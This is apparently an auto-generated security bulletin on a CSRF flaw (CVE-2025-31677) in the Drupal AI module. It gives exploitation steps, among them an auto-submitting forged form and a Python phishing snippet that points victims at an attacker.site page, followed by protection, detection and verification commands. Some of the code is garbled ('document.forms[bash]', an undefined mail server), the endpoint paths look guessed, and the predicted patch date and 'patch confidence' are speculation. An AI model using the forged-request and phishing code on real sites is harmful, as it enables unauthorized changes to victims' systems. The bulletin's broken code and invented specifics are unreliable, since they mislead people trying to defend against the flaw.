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How CVE-2025-31677 Works
The CSRF vulnerability in Drupal AI (versions 1.0.0 to 1.0.2) allows attackers to trick authenticated users into executing unintended actions without their consent. When a victim logged into a Drupal site visits a malicious page, hidden requests can be forged to modify AI module settings, alter training data, or manipulate model configurations. The exploit leverages missing anti-CSRF tokens in API endpoints, enabling unauthorized changes via crafted GET/POST requests. Attackers can abuse this to poison AI datasets, disrupt model behavior, or escalate privileges if the module has admin-level access.
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Platform: Drupal AI Module
Version: 1.0.0 – 1.0.2
Vulnerability: CSRF
Severity: Medium
Date: 06/04/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation:
1. Craft a malicious HTML form targeting `/ai-module/update-settings`:
<form action="http://target.site/ai-module/update-settings" method="POST"> <input type="hidden" name="model" value="malicious_model"> </form> <script>document.forms[bash].submit();</script>
2. Use social engineering to lure admins:
import smtplib
payload = f"<img src='http://attacker.site/exploit.html'>"
server.sendmail("[email protected]", "[email protected]", payload)
Protection:
1. Apply Drupal’s `token` protection in forms:
$form['token'] = TRUE;
2. Validate referer headers:
location /ai-module/ {
valid_referers server_names;
if ($invalid_referer) { return 403; }
}
3. Manual patch for `/ai-module/src/Controller/SettingsController.php`:
use Symfony\Component\HttpFoundation\Request;
public function updateSettings(Request $request) {
if (!$this->csrfToken()->validate($request->get('_token'))) {
throw new AccessDeniedHttpException();
}
}
Detection:
1. Scan for missing tokens:
grep -r "form" /path/to/drupal/modules/ai --include=".php" | grep -v "token"
2. Audit HTTP traffic:
tcpdump -i eth0 'port 80 and host target.site' | grep -E "POST /ai-module"
Analytics:
- Exploit Complexity: Low (No auth bypass required)
- Impact Scope: Data integrity compromise
- Mitigation Priority: High for AI-dependent sites
- Patch Confidence: 90% (Drupal core CSRF fixes available)
Post-Patch Verification:
curl -I http://target.site/ai-module/update-settings -H "Referer: attacker.site" Expected: 403 Forbidden
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
